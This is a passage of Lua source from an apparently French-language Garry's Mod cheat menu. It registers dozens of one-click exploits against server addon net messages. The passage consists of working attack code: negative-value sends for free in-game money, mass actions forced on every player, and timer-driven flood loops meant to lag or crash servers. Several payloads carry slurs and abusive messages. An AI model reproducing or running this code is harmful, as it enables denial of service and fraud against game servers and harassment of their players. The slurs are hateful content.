10562CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
10563addExploit( "233","Argent Gratuite #26", "", function()
10564surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10565net.Start("deposit")
10566net.WriteString("-10000000000000000000000")
10567net.SendToServer()
10568end )
10569end
10570
10571status = ValidNetString("AcceptRequest")
10572if (status) then
10573CHATPRINT("Exploit Trouvé : Exploit D'Appel [AcceptRequest]")
10574addExploit( "234","Exploit D'Appel", "", function()
10575surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10576for k,v in pairs(player.GetAll()) do
10577net.Start("AcceptRequest")
10578net.WriteEntity(v)
10579net.SendToServer()
10580end
10581end )
10582end
10583
10584status = ValidNetString("Chess ClientWager")
10585if (status) then
10586CHATPRINT("Exploit Trouvé : Exploit Des Dames [Chess ClientWager | Chess ClientResign]")
10587addExploit( "235","Exploit Des Dames", "", function()
10588surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10589net.Start("Chess ClientWager")
10590net.WriteUInt( -999999999999999999999999999, 24 )
10591net.SendToServer()
10592net.Start("Chess ClientResign")
10593net.SendToServer()
10594end )
10595end
10596
10597status = ValidNetString("netOrgVoteInvite_Server")
10598if (status) then
10599CHATPRINT("Exploit Trouvé : Invitez Tout Le Monde Dans Son Gang [netOrgVoteInvite_Server]")
10600addExploit( "236","Invitez Tout Le Monde Dans Son Gang", "", function()
10601surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10602for k,v in pairs(player.GetAll()) do
10603net.Start("netOrgVoteInvite_Server")
10604net.WriteEntity(v)
10605net.SendToServer()
10606end
10607end )
10608end
10609
10610
10611status = ValidNetString("donatorshop_itemtobuy")
10612if (status) then
10613CHATPRINT("Exploit Trouvé : Exploit De La Boite Des Donateur [donatorshop_itemtobuy]")
10614addExploit( "237","Exploit De La Boite Des Donateur", "", function()
10615surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10616net.Start("donatorshop_itemtobuy")
10617net.WriteString("DonatorShopBuyTripwire")
10618net.SendToServer()
10619end )
10620end
10621
10622status = ValidNetString("AskPickupItemInv")
10623if (status) then
10624CHATPRINT("Exploit Trouvé : Demandez Items [AskPickupItemInv]")
10625addExploit( "238","Demandez Items", "", function()
10626surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10627for k,v in pairs(player.GetAll()) do
10628net.Start("AskPickupItemInv")
10629net.WriteUInt(4,16)
10630net.WriteUInt(1,16)
10631net.SendToServer()
10632end
10633end )
10634end
10635
10636status = ValidNetString("buy_bundle")
10637if (status) then
10638CHATPRINT("Exploit Trouvé : Achetez Bundle [buy_bundle]")
10639addExploit( "239","Achetez Bundle", "", function()
10640surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10641net.Start("buy_bundle")
10642net.WriteFloat(1, 16)
10643net.SendToServer()
10644end )
10645end
10646
10647status = ValidNetString("LawyerOfferBail")
10648if (status) then
10649CHATPRINT("Exploit Trouvé : Sortir De Prison [LawyerOfferBail | AcceptBailOffer]")
10650addExploit( "240","Sortir De Prison", "", function()
10651surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10652for k,v in pairs(player.GetAll()) do
10653net.Start("LawyerOfferBail")
10654net.WriteEntity(v)
10655net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10656net.SendToServer()
10657net.Start("AcceptBailOffer")
10658net.WriteEntity(v)
10659net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10660net.SendToServer()
10661end
10662end )
10663end
10664
10665status = ValidNetString("MineServer")
10666if (status) then
10667CHATPRINT("Exploit Trouvé : Crée Des Lags #22 [MineServer]")
10668addExploit( "241","Crée Des Lags #22", "lags", function()
10669surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10670for i = 0, 100 do
10671for k,v in pairs(player.GetAll()) do
10672net.Start("MineServer",true)
10673net.WriteString("sell")
10674net.WriteEntity(v)
10675net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
10676net.SendToServer()
10677end
10678end
10679end )
10680end
10681
10682status = ValidNetString("Gb_gasstation_BuyGas")
10683if (status) then
10684CHATPRINT("Exploit Trouvé : Gaz Ukrainien [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
10685addExploit( "242","Gaz Ukrainien", "", function()
10686surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10687net.Start("Gb_gasstation_BuyGas")
10688net.SendToServer()
10689net.Start("Gb_gasstation_BuyJerrycan")
10690net.SendToServer()
10691end )
10692end
10693
10694status = ValidNetString("D3A_CreateOrg")
10695if (status) then
10696CHATPRINT("Exploit Trouvé : D3A Crée une Organisation [D3A_CreateOrg]")
10697addExploit( "243","D3A Crée une Organisation", "", function()
10698surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10699net.Start("D3A_CreateOrg")
10700net.WriteString('969690485273489312467812367128312312314')
10701net.WriteString('123712983712984571298712398')
10702net.WriteString("255 255 255")
10703net.SendToServer()
10704end )
10705end
10706
10707status = ValidNetString("Shop_buy")
10708if (status) then
10709CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
10710addExploit( "244","SUP Buy Armor", "", function()
10711surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10712net.Start("Shop_buy")
10713net.WriteString("Armor")
10714net.SendToServer()
10715end )
10716end
10717
10718status = ValidNetString("LawsToServer")
10719if (status) then
10720CHATPRINT("Exploit Trouvé : SUP Nouvelles Lois [LawsToServer]")
10721addExploit( "245","SUP Nouvelles Lois", "", function()
10722surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10723net.Start("LawsToServer")
10724net.WriteString("FAGGOTS")
10725net.SendToServer()
10726end )
10727end
10728
10729status = ValidNetString("D3A_Message")
10730if (status) then
10731CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
10732addExploit( "246","D3A Message", "", function()
10733surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10734local stuff = {
10735
10736}
10737net.Start("D3A_Message")
10738net.WriteString("FAGGOTS")
10739net.WriteTable(stuff)
10740net.SendToServer()
10741end )
10742end
10743
10744status = ValidNetString("misswd_accept")
10745if (status) then
10746CHATPRINT("Exploit Trouvé : Misswd Accepter [misswd_accept]")
10747addExploit( "247","Misswd Accepter", "", function()
10748surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10749for k,v in pairs(player.GetAll()) do
10750for i = 0, 100 do
10751net.Start("misswd_accept")
10752net.WriteEntity(v)
10753net.SendToServer()
10754end
10755end
10756end )
10757end
10758
10759status = ValidNetString("ScannerMenu")
10760if (status) then
10761CHATPRINT("Exploit Trouvé : Exploit De Scanneur [ScannerMenu]")
10762addExploit( "248","Exploit De Scanneur", "", function()
10763surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10764for k,v in pairs(player.GetAll()) do
10765net.Start("ScannerMenu")
10766net.WriteEntity(v)
10767net.WriteFloat(1)
10768net.WriteFloat(1)
10769net.SendToServer()
10770end
10771end )
10772end
10773
10774status = ValidNetString("ORG_NewOrg")
10775if (status) then
10776CHATPRINT("Exploit Trouvé : Nouvelle Organisation [ORG_NewOrg]")
10777addExploit( "249","Nouvelle Organisation", "", function()
10778surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10779net.Start("ORG_NewOrg")
10780net.WriteString("I FUCKING HATE YOU!")
10781net.SendToServer()
10782end )
10783end
10784
10785status = ValidNetString("ORG_VaultDonate")
10786if (status) then
10787CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
10788addExploit( "250","Argent Gratuite #27", "", function()
10789surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10790net.Start("ORG_VaultDonate")
10791net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
10792net.SendToServer()
10793end )
10794end
10795
10796status = ValidNetString("Selldatride")
10797if (status) then
10798CHATPRINT("Exploit Trouvé : Vendre Datride [Selldatride]")
10799addExploit( "251","Vendre Datride", "", function()
10800surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10801for k,v in pairs(player.GetAll()) do
10802net.Start("Selldatride")
10803net.WriteEntity(v)
10804net.SendToServer()
10805end
10806end )
10807end
10808
10809status = ValidNetString("passmayorexam")
10810if (status) then
10811CHATPRINT("Exploit Trouvé : Passez Les Examens [passmayorexam]")
10812addExploit( "252","Passez Les Examens", "", function()
10813surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10814net.Start("passmayorexam")
10815net.SendToServer()
10816end )
10817end
10818
10819status = ValidNetString("levelup_useperk")
10820if (status) then
10821CHATPRINT("Exploit Trouvé : Augmentez De Niveau [levelup_useperk]")
10822addExploit( "253","Augmentez De Niveau", "", function()
10823surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10824net.Start("levelup_useperk")
10825net.WriteInt(1, 8)
10826net.WriteInt(2, 8)
10827net.WriteInt(3, 8)
10828net.WriteInt(4, 8)
10829net.SendToServer()
10830end )
10831end
10832
10833status = ValidNetString("DeployMask")
10834if (status) then
10835CHATPRINT("Exploit Trouvé : Mettre Un Masque A Gaz A Tout Les Joueurs [DeployMask]")
10836addExploit( "255","Mettre Un Masque A Gaz A Tout Les Joueurs", "", function()
10837surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10838for k,v in pairs(ents.GetAll()) do
10839net.Start("DeployMask")
10840net.WriteEntity(v)
10841net.SendToServer()
10842end
10843end )
10844end
10845
10846status = ValidNetString("RemoveMask")
10847if (status) then
10848CHATPRINT("Exploit Trouvé : Supprimer Les Masques A Gaz Des Joueurs [RemoveMask]")
10849addExploit( "256","Supprimer Les Masques A Gaz Des Joueurs", "", function()
10850surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10851for k,v in pairs(ents.GetAll()) do
10852net.Start("RemoveMask")
10853net.WriteEntity(v)
10854net.SendToServer()
10855end
10856end )
10857end
10858
10859status = ValidNetString("SwapFilter")
10860if (status) then
10861CHATPRINT("Exploit Trouvé : Changer Tout Les Filtres Des Masques A Gaz [SwapFilter]")
10862addExploit( "257","Changer Tout Les Filtres Des Masques A Gaz", "Changer Les Filtres Des Masques A Gaz", function()
10863surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10864for k,v in pairs(ents.GetAll()) do
10865net.Start("SwapFilter")
10866net.WriteEntity(v)
10867net.SendToServer()
10868end
10869end )
10870end
10871
10872status = ValidNetString("WipeMask")
10873if (status) then
10874CHATPRINT("Exploit Trouvé : Essuyez Les Masques A Gaz [WipeMask]")
10875addExploit( "258","Essuyez Les Masques A Gaz", "Exploit Pour Essuyez Tout Les Masques A Gaz", function()
10876surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10877for k,v in pairs(ents.GetAll()) do
10878net.Start("WipeMask")
10879net.WriteEntity(v)
10880net.SendToServer()
10881end
10882end )
10883end
10884
10885status = ValidNetString("UseMedkit")
10886if (status) then
10887CHATPRINT("Exploit Trouvé : Utiliser Le Kit Médical [UseMedkit]")
10888addExploit( "259","Utiliser Le Kit Médical", "Exploit Pour Utiliser Le Kit Médical Sur Tout Le Monde", function()
10889surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10890for k,v in pairs(ents.GetAll()) do
10891net.Start("UseMedkit")
10892net.WriteEntity(v)
10893net.SendToServer()
10894end
10895end )
10896end
10897
10898status = ValidNetString("IDInv_RequestBank")
10899if (status) then
10900CHATPRINT("Exploit Trouvé : Crée Des Lags #23 [IDInv_RequestBank]")
10901addExploit( "260","Crée Des Lags #23", "Exploit Provenant De L'addon 'IDinventory'", function()
10902surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10903if !timer.Exists("lagger23") then
10904timer.Create("lagger23", 0, 0, function()
10905for i = 1, 1000 do
10906net.Start("IDInv_RequestBank",true)
10907net.SendToServer()
10908end
10909end )
10910end
10911end )
10912end
10913
10914status = ValidNetString("casinokit_chipexchange")
10915if (status) then
10916CHATPRINT("Exploit Trouvé : Crée Des Lags #24 [casinokit_chipexchange]")
10917addExploit( "261","Crée Des Lags #24", "Exploit Provenant De L'addon 'CasinoKit'", function()
10918surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10919if !timer.Exists("lagger24") then
10920timer.Create("lagger24", 0, 0, function()
10921for i = 1, 1000 do
10922net.Start("casinokit_chipexchange",true)
10923net.WriteEntity(LocalPlayer())
10924net.WriteString("darkrp")
10925net.WriteBool(false)
10926net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
10927net.SendToServer()
10928end
10929end )
10930end
10931end )
10932end
10933
10934status = ValidNetString("RemoveTag")
10935if (status) then
10936CHATPRINT("Exploit Trouvé : 1tap Le Serveur [RemoveTag]")
10937addExploit( "262","1tap Le Serveur", "Coup dûr pour le serveur ducoup", function()
10938surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10939timer.Create("1tap", 0.5, 0, function()
10940for i=1, 4000 do
10941net.Start("RemoveTag")
10942net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
10943net.SendToServer()
10944end
10945end )
10946end )
10947end
10948
10949status = ValidNetString("desktopPrinter_Withdraw")
10950if (status) then
10951CHATPRINT("Exploit Trouvé : Crée Des Lags #25 [desktopPrinter_Withdraw]")
10952addExploit( "263","Crée Des Lags #25", "Exploit Provenant De L'addon 'Desktop Printers'", function()
10953surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10954if !timer.Exists("lagger25") then
10955timer.Create("lagger25", 0, 0, function()
10956for i = 1, 1000 do
10957net.Start("desktopPrinter_Withdraw",true)
10958net.WriteEntity(LocalPlayer())
10959net.SendToServer()
10960end
10961end )
10962end
10963end )
10964end
10965
10966status = ValidNetString("sphys_dupe")
10967if (status) then
10968CHATPRINT("Exploit Trouvé : Crée Des Lags #26 [sphys_dupe]")
10969addExploit( "264","Crée Des Lags #26", "Exploit Provenant De L'addon 'Simfphys'", function()
10970surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10971timer.Create("lagger26", 0.2, 0, function()
10972for i=1,2200 do
10973net.Start("sphys_dupe",true)
10974net.SendToServer()
10975end
10976end )
10977end )
10978end
10979
10980status = ValidNetString("simfphys_gasspill")
10981if (status) then
10982CHATPRINT("Exploit Trouvé : Chiez Sur Les Joueurs [simfphys_gasspill]")
10983addExploit( "265","Chiez Sur Les Joueurs", "Exploit Provenant De L'addon 'Simfphys'", function()
10984surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10985timer.Create("poop", 0.1, 0, function()
10986for k,v in pairs(player.GetAll()) do
10987for j=1,3 do
10988if IsValid(v) then
10989net.Start("simfphys_gasspill")
10990net.WriteVector(v:GetPos()+Vector(0,0,90))
10991net.WriteVector(v:EyePos())
10992net.SendToServer()
10993end
10994end
10995end
10996end )
10997end )
10998end
10999
11000status = ValidNetString("dronesrewrite_controldr")
11001if (status) then
11002CHATPRINT("Exploit Trouvé : Crée Des Lags #27 [dronesrewrite_controldr]")
11003addExploit( "266","Crée Des Lags #27", "", function()
11004surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11005timer.Create("lagger27", 0.2, 0, function()
11006for i=1,2200 do
11007net.Start("dronesrewrite_controldr",true)
11008net.SendToServer()
11009end
11010end )
11011end )
11012end
11013
11014
11015status = ValidNetString("SCP-294Sv")
11016if (status) then
11017CHATPRINT("Exploit Trouvé : Exploit De SCP-294 [SCP-294Sv]")
11018addExploit( "267","Exploit De SCP-294 Exploit", "", function()
11019surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11020for k,v in pairs(ents.GetAll()) do
11021net.Start("SCP-294Sv")
11022net.WriteString("acid")
11023net.WriteEntity(v)
11024net.SendToServer()
11025end
11026end )
11027end
11028
11029status = ValidNetString("phone")
11030if (status) then
11031CHATPRINT("Exploit Trouvé : Appelez Tous Les Joueurs [phone]")
11032addExploit( "269","Appelez Tous Les Joueurs", "", function()
11033surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11034for k, v in pairs(player.GetAll()) do
11035net.Start("phone")
11036net.WriteTable{
11037ply=v,
11038act='call'
11039}
11040net.SendToServer()
11041end
11042end )
11043end
11044
11045status = ValidNetString("blueatm")
11046if (status) then
11047CHATPRINT("Exploit Trouvé : Crée Des Lags #29 [blueatm]")
11048addExploit( "270","Crée Des Lags #29", "Exploit Provenant De L'addon 'Blue ATM', ", function()
11049surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11050timer.Create("lagger29", 0, 0, function()
11051for i = 1, 1000 do
11052net.Start("blueatm",true)
11053net.WriteEntity(LocalPlayer())
11054net.SendToServer()
11055end
11056end )
11057end )
11058end
11059
11060status = ValidNetString("cab_cd_testdrive")
11061if (status) then
11062CHATPRINT("Exploit Trouvé : Stavox Teleportation [cab_cd_testdrive]")
11063addExploit( "271","Stavox Teleportation", "", function()
11064surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11065net.Start('cab_cd_testdrive')
11066net.WriteUInt(0, 3)
11067net.WriteUInt(5, 8)
11068net.SendToServer()
11069end )
11070end
11071
11072status = ValidNetString("cab_sendmessage")
11073if (status) then
11074CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
11075addExploit( "272","Stavox Message", "", function()
11076surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11077for k, v in pairs(player.GetAll()) do
11078net.Start("cab_sendmessage")
11079net.WriteEntity(v)
11080net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
11081net.SendToServer()
11082end
11083end )
11084end
11085
11086status = ValidNetString("disguise")
11087if (status) then
11088CHATPRINT("Exploit Trouvé : Crée Des Lags #30 [disguise]")
11089addExploit( "273","Crée Des Lags #30", "", function()
11090surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger30", 0, 0, function()
11091for i = 1, 1000 do
11092net.Start("disguise",true)
11093net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
11094net.SendToServer()
11095end
11096end )
11097end )
11098end
11099
11100status = ValidNetString("FARMINGMOD_DROPITEM")
11101if (status) then
11102CHATPRINT("Exploit Trouvé : Crée Des Lags #31 [FARMINGMOD_DROPITEM]")
11103addExploit( "274","Crée Des Lags #31", "", function()
11104surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger31", 0, 0, function()
11105for i = 1, 1000 do
11106net.Start("FARMINGMOD_DROPITEM",true)
11107net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
11108net.SendToServer()
11109end
11110end )
11111end )
11112end
11113
11114status = ValidNetString("SlotsRemoved")
11115if (status) then
11116CHATPRINT("Exploit Trouvé : Crée Des Lags #32 [SlotsRemoved]")
11117addExploit( "275","Crée Des Lags #32", "Exploit Provenant De L'addon 'PointShop 2 Perma Weapons', ", function()
11118surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger32", 0, 0, function()
11119for i = 1, 1000 do
11120net.Start("SlotsRemoved",true)
11121net.SendToServer()
11122end
11123end )
11124end )
11125end
11126
11127status = ValidNetString("AirDrops_StartPlacement")
11128if (status) then
11129CHATPRINT("Exploit Trouvé : Crée Des Lags #33 [AirDrops_StartPlacement]")
11130addExploit( "276","Crée Des Lags #33", "Exploit Provenant De L'addon 'PointShop 2 AirDrops'", function()
11131surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger33", 0, 0, function()
11132for i = 1, 1000 do
11133net.Start("AirDrops_StartPlacement",true)
11134net.SendToServer()
11135end
11136end )
11137end )
11138end
11139
11140status = ValidNetString("IGS.GetPaymentURL")
11141if (status) then
11142CHATPRINT("Exploit Trouvé : Crée Des Lags #35 [IGS.GetPaymentURL]")
11143addExploit( "278","Crée Des Lags #35", "Exploit Dans IGS", function()
11144surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger35", 0, 0, function()
11145for i = 1, 1000 do
11146net.Start("IGS.GetPaymentURL",true)
11147net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
11148net.SendToServer()
11149end
11150end )
11151end )
11152end
11153
11154status = ValidNetString("fg_printer_money")
11155if (status) then
11156CHATPRINT("Exploit Trouvé : Crée Des Lags #36 [fg_printer_money]")
11157addExploit( "279","Crée Des Lags #36", "Exploits Dans Les FG Printers", function()
11158surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger36", 0, 0, function()
11159for i = 1, 1000 do
11160net.Start('fg_printer_money',true)
11161net.WriteEntity(LocalPlayer())
11162net.SendToServer()
11163end
11164end )
11165end )
11166end
11167
11168status = ValidNetString("tickbookpayfine")
11169if (status) then
11170CHATPRINT("Exploit Trouvé : Crée Des Lags #37 [tickbookpayfine]")
11171addExploit( "280","Crée Des Lags #37", "Exploit De Ticket Book", function()
11172surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger37", 0, 0, function()
11173for i = 1, 1000 do
11174net.Start("tickbookpayfine",true)
11175net.SendToServer()
11176end
11177end )
11178end )
11179end
11180
11181status = ValidNetString("BeginSpin")
11182if (status) then
11183CHATPRINT("Exploit Trouvé : Crée Des Lags #38 [BeginSpin]")
11184addExploit( "281","Crée Des Lags #38", "Exploits De Blue Unbox", function()
11185surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger38", 0, 0, function()
11186for i = 1, 1000 do
11187net.Start("BeginSpin",true)
11188net.SendToServer()
11189end
11190end )
11191end )
11192end
11193
11194status = ValidNetString("DuelRequestClient")
11195if (status) then
11196CHATPRINT("Exploit Trouvé : Crée Des Lags #39 [DuelRequestClient]")
11197addExploit( "282","Crée Des Lags #39", "", function()
11198surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger39", 0, 0, function()
11199for i = 1, 1000 do
11200net.Start("DuelRequestClient",true)
11201net.SendToServer()
11202end
11203end )
11204end )
11205end
11206
11207status = ValidNetString("ncpstoredoact")
11208if (status) then
11209CHATPRINT("Exploit Trouvé : Crée Des Lags #40 [ncpstoredoact]")
11210addExploit( "283","Crée Des Lags #40", "", function()
11211surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger40", 0, 0, function()
11212for i = 1, 1000 do
11213net.Start("ncpstoredoact",true)
11214net.SendToServer()
11215end
11216end )
11217end )
11218end
11219
11220status = ValidNetString("PermwepsNPCSellWeapon")
11221if (status) then
11222CHATPRINT("Exploit Trouvé : Crée Des Lags #41 [PermwepsNPCSellWeapon]")
11223addExploit( "284","Crée Des Lags #41", "", function()
11224surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger41", 0, 0, function()
11225for i = 1, 2000 do
11226net.Start("PermwepsNPCSellWeapon",true)
11227net.WriteString("")
11228net.SendToServer()
11229end
11230end )
11231end )
11232end
11233
11234status = ValidNetString("bitcoins_request_withdraw")
11235if (status) then
11236CHATPRINT("Exploit Trouvé : Crée Des Lags #42 [bitcoins_request_withdraw]")
11237addExploit( "285","Crée Des Lags #42", "", function()
11238surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger42", 0, 0, function()
11239for i = 1, 2000 do
11240net.Start("bitcoins_request_withdraw",true)
11241net.SendToServer()
11242end
11243end )
11244end )
11245end
11246
11247status = ValidNetString("bitcoins_request_turn_on")
11248if (status) then
11249CHATPRINT("Exploit Trouvé : Activé Tout Les Mineurs De Bitcoins [bitcoins_request_turn_on]")
11250addExploit( "286","Activé Tout Les Mineurs De Bitcoins", "", function()
11251surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11252for k, v in pairs(ents.GetAll()) do
11253if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11254net.Start("bitcoins_request_turn_on")
11255net.WriteEntity(v)
11256net.SendToServer()
11257end
11258end
11259end)
11260end
11261
11262status = ValidNetString("bitcoins_request_turn_off")
11263if (status) then
11264CHATPRINT("Exploit Trouvé : Désactiver Tout Les Mineurs De Bitcoins [bitcoins_request_turn_off]")
11265addExploit( "287","Désactiver Tout Les Mineurs De Bitcoins", "", function()
11266surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11267for k, v in pairs(ents.GetAll()) do
11268if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11269net.Start("bitcoins_request_turn_off")
11270net.WriteEntity(v)
11271net.SendToServer()
11272end
11273end
11274end)
11275end
11276
11277status = ValidNetString("NET_AM_MakePotion")
11278if (status) then
11279CHATPRINT("Exploit Trouvé : Crée Des Lags #43 [NET_AM_MakePotion]")
11280addExploit( "288","Crée Des Lags #43", "", function()
11281surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11282timer.Create("lagger43", 0, 0, function()
11283for i = 1, 2000 do
11284net.Start('NET_AM_MakePotion',true)
11285net.WriteEntity(LocalPlayer())
11286net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
11287net.SendToServer()
11288end
11289end )
11290end )
11291end
11292
11293status = ValidNetString("minigun_drones_switch")
11294if (status) then
11295CHATPRINT("Exploit Trouvé : Crée Des Lags #44 [minigun_drones_switch]")
11296addExploit( "289","Crée Des Lags #44", "", function()
11297surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11298timer.Create("lagger44", 0.2, 0, function()
11299for i=1,2200 do
11300net.Start("minigun_drones_switch",true)
11301net.SendToServer()
11302end
11303end )
11304end )
11305end
11306
11307status = ValidNetString("CW20_PRESET_LOAD")
11308if (status) then
11309CHATPRINT("Exploit Trouvé : Crée Des Lags #45 (AVEC DES ARMES CW2 DANS LES MAINS) [CW20_PRESET_LOAD]")
11310addExploit( "290","Crée Des Lags #45", "(AVEC DES ARMES CW2 DANS LES MAINS)", function()
11311surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11312timer.Create("lagger45", 0.2, 0, function()
11313if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
11314for i=1,2200 do
11315net.Start("CW20_PRESET_LOAD",true)
11316net.SendToServer()
11317end
11318end
11319end )
11320end )
11321end
11322
11323status = ValidNetString("SBP_addtime")
11324if (status) then
11325CHATPRINT("Exploit Trouvé : Crée Des Lags #46 [SBP_addtime]")
11326addExploit( "291","Crée Des Lags #46", "", function()
11327surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11328timer.Create("lagger46", 0.3, 0, function()
11329for i=1,2200 do
11330net.Start("SBP_addtime",true)
11331net.SendToServer()
11332end
11333end )
11334end )
11335end
11336
11337status = ValidNetString("NetData")
11338if (status) then
11339CHATPRINT("Exploit Trouvé : Vêtement Bruyant [NetData]")
11340addExploit( "292","Outfit player nouser", "Entend Les Joueurs Près De Toi", function()
11341surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11342for k, v in pairs(player.GetAll()) do
11343net.Start("NetData")
11344net.WriteString("OF")
11345net.WriteUInt(4,8)
11346net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
11347net.SendToServer()
11348end
11349end )
11350end
11351
